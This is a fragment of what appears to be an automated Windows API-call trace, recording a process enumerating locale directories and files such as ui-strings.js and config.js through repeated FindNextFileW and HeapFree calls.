	[0170.430] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0170.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.468] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0170.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.780] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0170.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.780] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0170.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.781] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0170.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.782] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0170.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.782] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0170.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.782] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0170.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.782] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0170.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.782] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0170.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.790] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0170.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.791] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0170.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.792] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0170.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.792] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0170.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.792] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0170.792] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0170.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0170.793] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0170.793] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0170.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.793] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0170.793] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0170.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0170.794] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1
	[0170.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.795] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0170.795] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0170.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0170.795] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1
	[0170.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0170.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0170.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0170.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0170.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.796] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
